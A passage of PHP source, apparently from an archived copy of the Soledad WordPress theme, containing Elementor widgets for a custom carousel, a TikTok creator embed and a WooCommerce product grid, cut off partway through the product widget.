				if ( ( 'video' !== $slide['type'] ) && ( '' !== isset( $slide['video']['url'] ) ) && 'custom' !== $slide['image_link_to_type'] ) {
					$this->add_link_attributes( $element_key . '_link', $slide['image'] );
				}

				if ( 'custom' === $slide['image_link_to_type'] ) {

					$this->add_link_attributes( $element_key . '_link', $slide['image_link_to'] );
				} else {
					$this->add_render_attribute( $element_key . '_link', [
						'data-elementor-open-lightbox' => 'no',
						'data-caption'                 => $this->get_image_caption( $slide ),
					] );
				}

				if ( 'video' === $slide['type'] && $slide['video']['url'] ) {
					$this->add_link_attributes( $element_key . '_link', $slide['video'] );
				}

				echo '<a ' . $this->get_render_attribute_string( $element_key . '_link' ) . '>';
			}

			echo '<span ' . $this->get_render_attribute_string( $element_key . '-image' ) . '></span>';

			if ( $image_link_to ) {
				echo '</a>';
			}
		}
	}

	protected function template_edit_link( $template_id ) {
		if ( Plugin::$instance->editor->is_edit_mode() ) {

			$final_url = add_query_arg( [ 'elementor' => '' ], get_permalink( $template_id ) );
	
			$output = sprintf( '<a class="penci-elementor-template-edit-link" href="%1$s" title="%2$s" target="_blank"><i class="eicon-edit"></i></a>', esc_url( $final_url ), esc_html__( 'Edit Template', 'soledad' ) );
	
			return $output;
		}
	
		return false;
	}

	protected function render_slide_template( array $slide, $element_key, array $settings ) {

		?>
        <div <?php $this->print_render_attribute_string( $element_key . '-template' ); ?>>
			<?php

			if ( 'template' == $slide['source'] ) {
				if ( 'elementor' == $slide['template_source'] and ! empty( $slide['elementor_template'] ) ) {
					echo \Elementor\Plugin::$instance->frontend->get_builder_content_for_display( $slide['elementor_template'] );
					echo $this->template_edit_link( $slide['elementor_template'] );
				} elseif ( 'anywhere' == $slide['template_source'] and ! empty( $slide['anywhere_template'] ) ) {
					echo \Elementor\Plugin::$instance->frontend->get_builder_content_for_display( $slide['anywhere_template'] );
					echo $this->template_edit_link( $slide['anywhere_template'] );
				}
			} else {
				echo wp_kses_post( $slide['editor_content'] );
			}

			?>
        </div>
		<?php
	}

	protected function render_header() {
		$id         = 'penci-ccarousel-ep-custom-carousel-' . $this->get_id();
		$settings   = $this->get_settings_for_display();
		$skin_class = ( 'penci-ccarousel-custom-content' == $settings['content_type'] ) ? 'custom-content' : 'default';

		$this->add_render_attribute( 'custom-carousel', 'id', $id );
		$this->add_render_attribute( 'custom-carousel', 'class', [
			'penci-ccarousel-ep-custom-carousel',
			'elementor-swiper',
			'penci-ccarousel-skin-' . $skin_class
		] );
		$this->add_render_attribute( 'custom-carousel', 'data-penci-ccarousel-lightbox', 'toggle: .penci-ccarousel-ep-custom-carousel-lightbox-item; animation: slide;' );

		$data_slider = '';
		$data_slider .= $settings['showdots'] ? ' data-dots="true"' : '';
		$data_slider .= $settings['shownav'] ? ' data-nav="true"' : '';
		$data_slider .= ! $settings['loop'] ? ' data-loop="true"' : '';
		$data_slider .= ' data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
		$data_slider .= $settings['auto_time'] ? ' data-autotime="' . $settings['auto_time'] . '"' : ' data-autotime="4000"';
		$data_slider .= $settings['speed'] ? ' data-speed="' . $settings['speed'] . '"' : ' data-speed="600"';

		$data_slider .= ' data-item="' . ( isset( $settings['slides_per_view'] ) && $settings['slides_per_view'] ? $settings['slides_per_view'] : '3' ) . '"';
		$data_slider .= ' data-desktop="' . ( isset( $settings['slides_per_view'] ) && $settings['slides_per_view'] ? $settings['slides_per_view'] : '3' ) . '" ';
		$data_slider .= ' data-tablet="' . ( isset( $settings['slides_per_view_tablet'] ) && $settings['slides_per_view_tablet'] ? $settings['slides_per_view_tablet'] : '2' ) . '"';
		$data_slider .= ' data-tabsmall="' . ( isset( $settings['slides_per_view_tablet'] ) && $settings['slides_per_view_tablet'] ? $settings['slides_per_view_tablet'] : '2' ) . '"';
		$data_slider .= ' data-mobile="' . ( isset( $settings['slides_per_view_mobile'] ) && $settings['slides_per_view_mobile'] ? $settings['slides_per_view_mobile'] : '1' ) . '"';
		$data_slider .= ' data-margin="' . ( isset( $settings['space_between']['size'] ) && $settings['space_between']['size'] ? $settings['space_between']['size'] : '30' ) . '"';
		$data_slider .= ' data-ceffect="' . $settings['carousel_slider_effect'] . '"';

		$this->add_render_attribute( 'swiper', 'class', 'swiper-carousel swiper penci-owl-carousel penci-owl-carousel-slider');

		?>
        <div <?php $this->print_render_attribute_string( 'swiper' ); ?> <?php echo $data_slider;?>>
        <div class="swiper-wrapper">
		<?php
	}

	protected function render_loop_slides( array $settings = null ) {

		if ( null === $settings ) {
			$settings = $this->get_settings_for_display();
		}

		$default_settings = [ 'video_play_icon' => true ];
		$settings         = array_merge( $default_settings, $settings );

		$slides = array();

		if ( 'penci-ccarousel-custom-content' == $settings['content_type'] ) {
			$slides = $settings['skin_template_slides'];
		} else {
			$slides = $settings['slides'];
		}

		foreach ( $slides as $index => $slide ) :
			$this->slide_prints_count ++;


			$this->add_render_attribute( 'slide', 'class', 'swiper-slide penci-custom-slide-'.$index .' elementor-repeater-item-' . esc_attr( $slide['_id'] ), true );

			?>
            <div <?php $this->print_render_attribute_string( 'slide' ); ?>>
				<?php $this->print_slide( $slide, $settings, 'slide-' . $index . '-' . $this->slide_prints_count ); ?>
            </div>
		<?php
		endforeach;
	}

	protected function get_slide_image_url( $slide, array $settings ) {
		$image_url = Group_Control_Image_Size::get_attachment_image_src( $slide['image']['id'], 'image_size', $settings );

		if ( ! $image_url ) {
			$image_url = $slide['image']['url'];
		}

		return $image_url;
	}

	protected function render_slider( array $settings = null ) {
		$this->render_loop_slides( $settings );
	}

	public function render() {
		$this->render_header();
		$this->render_slider();
		echo '</div></div>';
	}
}PK     1w\-  -  4  elementor/modules/penci-tiktok-embed-feed/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciTiktokEmbedFeed;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-tiktok-embed-feed';
	}

	public function get_widgets() {
		return array( 'PenciTiktokEmbedFeed' );
	}
}
PK     1w\Q9A  A  M  elementor/modules/penci-tiktok-embed-feed/widgets/penci-tiktok-embed-feed.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciTiktokEmbedFeed\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciTiktokEmbedFeed extends Base_Widget {

	public function get_name() {
		return 'penci-tiktok-embed-feed';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' TikTok Feed', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'tiktok', 'social' );
	}

	public function get_script_depends() {
		return array( 'penci_tiktok_embed' );
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section( 'section_page', array(
			'label' => esc_html__( 'TikTok Data', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );
		$this->add_control( 'username', array(
			'label'   => __( 'Username ( Without @ )', 'soledad' ),
			'type'    => Controls_Manager::TEXT,
			'default' => '',
		) );

		$this->add_responsive_control( 'width', array(
			'label'      => __( 'Width', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 2000 ),
			),
			'selectors'  => [
				'{{WRAPPER}} .tiktok-embed' => 'width:100%; max-width:{{SIZE}}px'
			]
		) );

		$this->add_control( 'content_horizontal_position', array(
			'label'                => __( 'Content Text Horizontal Position', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'label_block'          => false,
			'options'              => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-h-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-h-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-h-align-right',
				),
			),
			'selectors'            => array(
				'{{WRAPPER}} .tiktok-embed' => '{{VALUE}}',
			),
			'selectors_dictionary' => array(
				'left'   => 'margin-right: auto',
				'center' => 'margin-left: auto; margin-right: auto;',
				'right'  => 'margin-left: auto',
			),
		) );

		$this->end_controls_section();
		$this->register_block_title_section_controls();
		$this->start_controls_section( 'section_latest_tiktok_style', array(
			'label' => __( 'TikTok', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'tiktok_text_typo',
			'label'    => __( 'Username Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} section a',
		) );
		$this->add_control( 'tiktok_u_color', array(
			'label'     => __( 'Username Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} section a' => 'color: {{VALUE}};',
			)
		) );
		$this->add_control( 'tiktok_u_hcolor', array(
			'label'     => __( 'Username Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} section a:hover' => 'color: {{VALUE}};',
			)
		) );

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();
		$username = $settings['username'] ? $settings['username'] : '';
		?>
        <div class="pc-tiktok-embed-feed-el">
			<?php
			$this->markup_block_title( $settings, $this );
			if ( $username ) {
				?>
                <blockquote class="tiktok-embed" cite="https://www.tiktok.com/@<?php echo esc_attr( $username ); ?>"
                            data-unique-id="<?php echo esc_attr( $username ); ?>"
                            data-embed-type="creator"
                            style="width: 100%;">
                    <section><a target="_blank"
                                href="https://www.tiktok.com/@<?php echo esc_attr( $username ); ?>">@<?php echo esc_attr( $username ); ?></a>
                    </section>
                </blockquote>
				<?php
			} else {
				_e( 'Please enter your Tiktok username', 'soledad' );
			}
			?>
        </div>
		<?php
	}
}
PK     1w\P    *  elementor/modules/penci-product/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciProduct;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci_product';
	}

	public function get_widgets() {
		return array( 'PenciProduct' );
	}
}
PK     1w\q7HX  X  9  elementor/modules/penci-product/widgets/penci-product.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciProduct\Widgets;

use Elementor\Controls_Manager;
use PenciSoledadElementor\Base\Base_Widget;


if ( ! defined( 'ABSPATH' ) ) {
	exit; // Direct access not allowed.
}

/**
 * Elementor widget that inserts an embeddable content into the page, from any given URL.
 *
 * @since 1.0.0
 */
class PenciProduct extends Base_Widget {
	/**
	 * Get widget name.
	 *
	 * @return string Widget name.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_name() {
		return 'penci_products';
	}

	/**
	 * Get widget title.
	 *
	 * @return string Widget title.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Products', 'soledad' );
	}

	/**
	 * Get widget icon.
	 *
	 * @return string Widget icon.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_icon() {
		return 'eicon-products';
	}

	/**
	 * Get widget categories.
	 *
	 * @return array Widget categories.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	/**
	 * Register the widget controls.
	 *
	 * @since 1.0.0
	 * @access protected
	 */
	protected function register_controls() {
		/**
		 * Content tab.
		 */

		/**
		 * General settings.
		 */
		$this->start_controls_section( 'general_content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
		] );

		$this->add_control( 'post_type', [
			'label'       => esc_html__( 'Data source', 'soledad' ),
			'description' => esc_html__( 'Select content type for your grid.', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => 'product',
			'options'     => array(
				'product'            => esc_html__( 'All Products', 'soledad' ),
				'featured'           => esc_html__( 'Featured Products', 'soledad' ),
				'sale'               => esc_html__( 'Sale Products', 'soledad' ),
				'new'                => esc_html__( 'Products with NEW label', 'soledad' ),
				'bestselling'        => esc_html__( 'Bestsellers', 'soledad' ),
				'ids'                => esc_html__( 'List of IDs', 'soledad' ),
				'top_rated_products' => esc_html__( 'Top Rated Products', 'soledad' ),
				'recent_viewed'      => esc_html__( 'Recent Viewed Products', 'soledad' ),
			),
		] );

		$this->add_control( 'include', [
			'label'       => esc_html__( 'Include only', 'soledad' ),
			'description' => esc_html__( 'Add products by title.', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_posts_by_query',
			'render'      => 'penci_get_posts_title_by_id',
			'post_type'   => 'product',
			'multiple'    => true,
			'label_block' => true,
			'condition'   => [
				'post_type' => 'ids',
			],
		] );

		$this->add_control( 'taxonomies', [
			'label'       => esc_html__( 'Categories or tags', 'soledad' ),
			'description' => esc_html__( 'List of product categories.', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_taxonomies_by_query',
			'render'      => 'penci_get_taxonomies_title_by_id',
			'taxonomy'    => array_merge( [ 'product_cat', 'product_tag' ], $this->get_product_attributes_array() ),
			'multiple'    => true,
			'label_block' => true,
			'condition'   => [
				'post_type!' => 'ids',
			],
		] );

		$this->add_control( 'orderby', [
			'label'       => esc_html__( 'Order by', 'soledad' ),
			'description' => esc_html__( 'Select order type. If "Meta value" or "Meta value Number" is chosen then meta key is required.', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => '',
			'options'     => array(
				''               => '',
				'date'           => esc_html__( 'Date', 'soledad' ),
				'id'             => esc_html__( 'ID', 'soledad' ),
				'author'         => esc_html__( 'Author', 'soledad' ),
				'title'          => esc_html__( 'Title', 'soledad' ),
				'modified'       => esc_html__( 'Last modified date', 'soledad' ),
				'comment_count'  => esc_html__( 'Number of comments', 'soledad' ),
				'menu_order'     => esc_html__( 'Menu order', 'soledad' ),
				'meta_value'     => esc_html__( 'Meta value', 'soledad' ),
				'meta_value_num' => esc_html__( 'Meta value number', 'soledad' ),
				'rand'           => esc_html__( 'Random order', 'soledad' ),
				'price'          => esc_html__( 'Price', 'soledad' ),
			),
		] );

		$this->add_control( 'offset', [
			'label'       => esc_html__( 'Offset', 'soledad' ),
			'description' => esc_html__( 'Number of grid elements to displace or pass over.', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'condition'   => [
				'post_type!' => 'ids',
			],
		] );

		$this->add_control( 'query_type', [
			'label'   => esc_html__( 'Query type', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'OR',
			'options' => array(
				'OR'  => esc_html__( 'OR', 'soledad' ),
				'AND' => esc_html__( 'AND', 'soledad' ),
			),
		] );

		$this->add_control( 'order', [
			'label'       => esc_html__( 'Sort order', 'soledad' ),
			'description' => 'Designates the ascending or descending order. More at <a href="http://codex.wordpress.org/Class_Reference/WP_Query#Order_.26_Orderby_Parameters" target="_blank">WordPress codex page</a>.',
			'type'        => Controls_Manager::SELECT,
			'default'     => '',
			'options'     => array(
				''     => esc_html__( 'Inherit', 'soledad' ),
				'DESC' => esc_html__( 'Descending', 'soledad' ),
				'ASC'  => esc_html__( 'Ascending', 'soledad' ),
			),
			'condition'   => [
				'post_type!' => 'ids',
			],
		] );

		$this->add_control( 'meta_key', [
			'label'       => esc_html__( 'Meta key', 'soledad' ),
			'description' => esc_html__( 'Input meta key for grid ordering.', 'soledad' ),
			'type'        => Controls_Manager::TEXTAREA,
			'condition'   => [
				'orderby' => [ 'meta_value', 'meta_value_num' ],
			],
		] );

		$this->add_control( 'exclude', [
			'label'       => esc_html__( 'Exclude', 'soledad' ),
			'description' => esc_html__( 'Exclude posts, pages, etc. by title.', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_posts_by_query',
			'render'      => 'penci_get_posts_title_by_id',
			'post_type'   => 'product',
			'multiple'    => true,
			'label_block' => true,
			'condition'   => [
				'post_type!' => 'ids',
			],
		] );

		$this->end_controls_section();

		/**
		 * Title settings.
		 */

		$this->register_block_title_section_controls();

		/**
		 * Layout settings.
		 */
		$this->start_controls_section( 'layout_style_section', [
			'label' => esc_html__( 'Layout', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'layout', [
			'label'   => esc_html__( 'Products Display', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'grid',
			'options' => array(
				'grid'     => esc_html__( 'Grid', 'soledad' ),
				'list'     => esc_html__( 'List', 'soledad' ),
				'carousel' => esc_html__( 'Carousel', 'soledad' ),
			),
		] );

		$this->add_control( 'product_horizontal_spacing', [
			'label'      => esc_html__( 'Horizontal space between items', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => '',
			'range'      => [
				'px' => [
					'min'  => 0,
					'max'  => 100,
					'step' => 1,
				],
			],
			'condition'  => [
				'layout' => [ 'grid', 'carousel' ],
			],
			'selectors'  => [
				'{{WRAPPER}} .product-layout-grid ul.products'            => 'margin-left: -{{SIZE}}{{UNIT}}!important;margin-right: -{{SIZE}}{{UNIT}} !important;',
				'{{WRAPPER}} .product-layout-grid ul.products li.product' => 'padding-left: {{SIZE}}{{UNIT}}!important;padding-right: {{SIZE}}{{UNIT}} !important;',
			],
		] );

		$this->add_responsive_control( 'product_vertical_spacing', [
			'label'      => esc_html__( 'Vertical space between items', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => '',
			'range'      => [
				'px' => [
					'min'  => 0,
					'max'  => 100,
					'step' => 1,
				],
			],
			'condition'  => [
				'layout' => [ 'grid', 'list' ],
			],
			'selectors'  => [
				'{{WRAPPER}} .product-layout-grid ul.products li.product'                                                                                                                                                                           => 'margin-bottom: {{SIZE}}px;',
				'{{WRAPPER}} .products.product-list .penci-soledad-product .penci-product-loop-inner-content'                                                                                                                                       => 'margin-bottom: {{SIZE}}px;padding-bottom: {{SIZE}}px;',
				'{{WRAPPER}} .penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.prev.page-numbers,{{WRAPPER}} .penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.next.page-numbers' => 'margin-top: calc( -25px - {{SIZE}}px );',
			],
		] );

		$this->add_responsive_control( 'columns', [
			'label'       => esc_html__( 'Columns', 'soledad' ),
			'description' => esc_html__( 'Number of columns in the grid.', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => [
				'size' => 4,
			],
			'size_units'  => '',
			'range'       => [
				'px' => [
					'min'  => 1,
					'max'  => 6,
					'step' => 1,
				],
			],
			'condition'   => [
				'layout' => 'grid',
			],
			'selectors'  => [
				'{{WRAPPER}} .product-layout-grid ul.products li.product'  => 'width: calc(100%/{{SIZE}});',
			],
		] );

		$this->add_control( 'items_per_page', [
			'label'       => esc_html__( 'Items per page', 'soledad' ),
			'description' => esc_html__( 'Number of items to show per page.', 'soledad' ),
			'default'     => 12,
			'type'        => Controls_Manager::NUMBER,
		] );

		$this->add_control( 'pagination', [
			'label'     => esc_html__( 'Pagination', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				''              => esc_html__( 'Inherit', 'soledad' ),
				'loadmore'      => esc_html__( 'Load more button', 'soledad' ),
				'infinit'       => esc_html__( 'Infinit scrolling', 'soledad' ),
				'links'         => esc_html__( 'Links', 'soledad' ),
				'next_previous' => esc_html__( 'Next/Previous', 'soledad' ),
				'none'          => esc_html__( 'Hidden', 'soledad' ),
			),
			'condition' => [
				'layout!' => 'carousel',
			],
		] );

		$this->add_responsive_control( 'pagination_spacing', [
			'label'      => esc_html__( 'Pagination Spacing', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-pagination, {{WRAPPER}} nav.woocommerce-pagination' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
			'condition'  => [
				'pagination!' => 'none',
			],
		] );

		$this->end_controls_section();

		/**
		 * Carousel settings.
		 */
		$this->start_controls_section( 'carousel_style_section', [
			'label'     => esc_html__( 'Carousel', 'soledad' ),
			'tab'       => Controls_Manager::TAB_STYLE,
			'condition' => [
				'layout' => 'carousel',
			],
		] );

		$this->add_responsive_control( 'slides_per_view', [
			'label'       => esc_html__( 'Slides per view', 'soledad' ),
			'description' => esc_html__( 'Set numbers of slides you want to display at the same time on slider\'s container for carousel mode.', 'soledad' ),
			'type'        => Controls_Manager::SLIDER,
			'default'     => [
				'size' => 3,
			],
			'size_units'  => '',
			'range'       => [
				'px' => [
					'min'  => 1,
					'max'  => 8,
					'step' => 1,
				],
			],
		] );

		$this->add_control( 'scroll_per_page', [
			'label'        => esc_html__( 'Scroll per page', 'soledad' ),
			'description'  => esc_html__( 'Scroll per page not per item. This affect next/prev buttons and mouse/touch dragging.', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => 'false',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => 'true',
		] );

		$this->add_control( 'hide_pagination_control', [
			'label'        => esc_html__( 'Hide pagination control', 'soledad' ),
			'description'  => esc_html__( 'If "YES" pagination control will be removed.', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => 'true',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => 'false',
		] );

		$this->add_control( 'hide_prev_next_buttons', [
			'label'        => esc_html__( 'Hide prev/next buttons', 'soledad' ),
			'description'  => esc_html__( 'If "YES" prev/next control will be removed', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => 'true',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => 'false',
		] );

		$this->add_control( 'carousel_slider_effect', array(
			'label'       => __( 'Carousel Slider Effect', 'soledad' ),
			'description' => __( 'The "Swing" effect does not support the loop option.', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => get_theme_mod( 'penci_carousel_slider_effect', 'swing' ),
			'options'     => array(
				'default' => 'Default',
				'swing'   => 'Swing',
			),
		) );

		$this->add_control( 'wrap', [
			'label'        => esc_html__( 'Slider loop', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => 'true',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => 'false',
		] );

		$this->add_control( 'autoplay', [
			'label'        => esc_html__( 'Slider autoplay', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => 'false',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => 'true',
		] );

		$this->add_control( 'speed', [
			'label'       => esc_html__( 'Slider speed', 'soledad' ),
			'description' => esc_html__( 'Duration of animation between slides (in ms)', 'soledad' ),
			'default'     => '5000',
			'type'        => Controls_Manager::NUMBER,
			'condition'   => [
				'autoplay' => 'yes',
			],
		] );

		$this->add_control( 'scroll_carousel_init', [
			'label'        => esc_html__( 'Init carousel on scroll', 'soledad' ),
			'description'  => esc_html__( 'This option allows you to init carousel script only when visitor scroll the page to the slider. Useful for performance optimization.\'', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => 'true',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => 'false',
		] );

		$this->end_controls_section();

		/**
		 * Products design settings.
		 */
		$this->start_controls_section( 'products_design_style_section', [
			'label' => esc_html__( 'Products Design', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'product_style', [
			'label'     => esc_html__( 'Products Style', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				''         => esc_html__( 'Inherit from the Theme Settings', 'soledad' ),
				'standard' => 'Default',
				'style-1'  => 'Style 1',
				'style-2'  => 'Style 2',
				'style-3'  => 'Style 3',
				'style-4'  => 'Style 4',
				'style-5'  => 'Style 5',
				'style-6'  => 'Style 6',
				'style-7'  => 'Style 7',
			),
			'condition' => [
				'layout!' => 'list',
			],
		] );

		$this->add_control( 'icon_style', [
			'label'   => esc_html__( 'Icon Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => array(
				''      => esc_html__( 'Inherit from the Theme Settings', 'soledad' ),
				'round' => 'Separate Round',
				'group' => 'Group in Rectangle',
			),
		] );

		$this->add_control( 'icon_position', [
			'label'   => esc_html__( 'Icon Position', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => array(
				''              => esc_html__( 'Inherit from the Theme Settings', 'soledad' ),
				'top-left'      => 'Top left',
				'top-right'     => 'Top Right',
				'bottom-left'   => 'Bottom Left',
				'bottom-right'  => 'Bottom Right',
				'center-top'    => 'Center Top',
				'center-center' => 'Center Center',
				'center-bottom' => 'Center Bottom',
			),
		] );

		$this->add_control( 'icon_animation', [
			'label'   => esc_html__( 'Icon Animation', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => array(
				''            => esc_html__( 'Inherit from the Theme Settings', 'soledad' ),
				'move-left'   => 'Move to left',
				'move-right'  => 'Move to Right',
				'move-top'    => 'Move to Top',
				'move-bottom' => 'Move to Bottom',
				'fade'        => 'Fade In',
				'zoom'        => 'Zoom In',
			),
		] );

		$this->add_control( 'img_size', [
			'label'   => esc_html__( 'Image size', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'woocommerce_thumbnail',
			'options' => $this->get_list_image_sizes( true ),
		] );

		$this->add_control( 'img_size_custom', [
			'label'       => esc_html__( 'Image dimension', 'soledad' ),
			'type'        => Controls_Manager::IMAGE_DIMENSIONS,
			'description' => esc_html__( 'You can crop the original image size to any custom size. You can also set a single value for height or width in order to keep the original size ratio.', 'soledad' ),
			'condition'   => [
				'img_size' => 'custom',
			],
		] );

		$this->add_control( 'stock_progress_bar', [
			'label'        => esc_html__( 'Stock progress bar', 'soledad' ),
			'description'  => esc_html__( 'Display a number of sold and in stock products as a progress bar.', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => '0',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => '1',
		] );

		$this->add_control( 'product_categories', [
			'label'        => esc_html__( 'Show Product Categories', 'soledad' ),
			'description'  => esc_html__( 'Display a product categories list under product title.', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => '0',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => '1',
		] );

		$this->add_control( 'product_rating', [
			'label'        => esc_html__( 'Show Product Rating', 'soledad' ),
			'description'  => esc_html__( 'Display a product star rating under product title.', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => '0',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => '1',
		] );

		$this->add_control( 'product_label_hot', [
			'label'        => esc_html__( 'Hidden Hot Label', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => '0',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => 'none',
			'selectors'    => [
				'{{WRAPPER}} .penci-soledad-product .product-labels .product-label.featured' => 'display:{{VALUE}}',
			],
		] );

		$this->add_control( 'product_label_new', [
			'label'        => esc_html__( 'Hidden New Label', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => '0',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => 'none',
			'selectors'    => [
				'{{WRAPPER}} .penci-soledad-product .product-labels .product-label.new' => 'display:{{VALUE}}',
			],
		] );

		$this->add_control( 'product_label_sale', [
			'label'        => esc_html__( 'Hidden Sale Label', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'default'      => '0',
			'label_on'     => esc_html__( 'Yes', 'soledad' ),
			'label_off'    => esc_html__( 'No', 'soledad' ),
			'return_value' => 'none',
			'selectors'    => [
				'{{WRAPPER}} .penci-soledad-product .product-labels .product-label.onsale' => 'display:{{VALUE}}',
			],
		] );

		$this->end_controls_section();

		/**
		 * Products design settings.
		 */
		$this->register_product_style();
		$this->register_block_title_style_section_controls();
	}

	/**
	 * Get attribute taxonomies
	 *
	 * @since 1.0.0
	 */
	public function get_product_attributes_array() {
		$attributes = [];

		if ( function_exists( 'wc_get_attribute_taxonomies' ) ) {
			foreach ( wc_get_attribute_taxonomies() as $attribute ) {
				$attributes[] = 'pa_' . $attribute->attribute_name;
			}
		}

		return $attributes;
	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

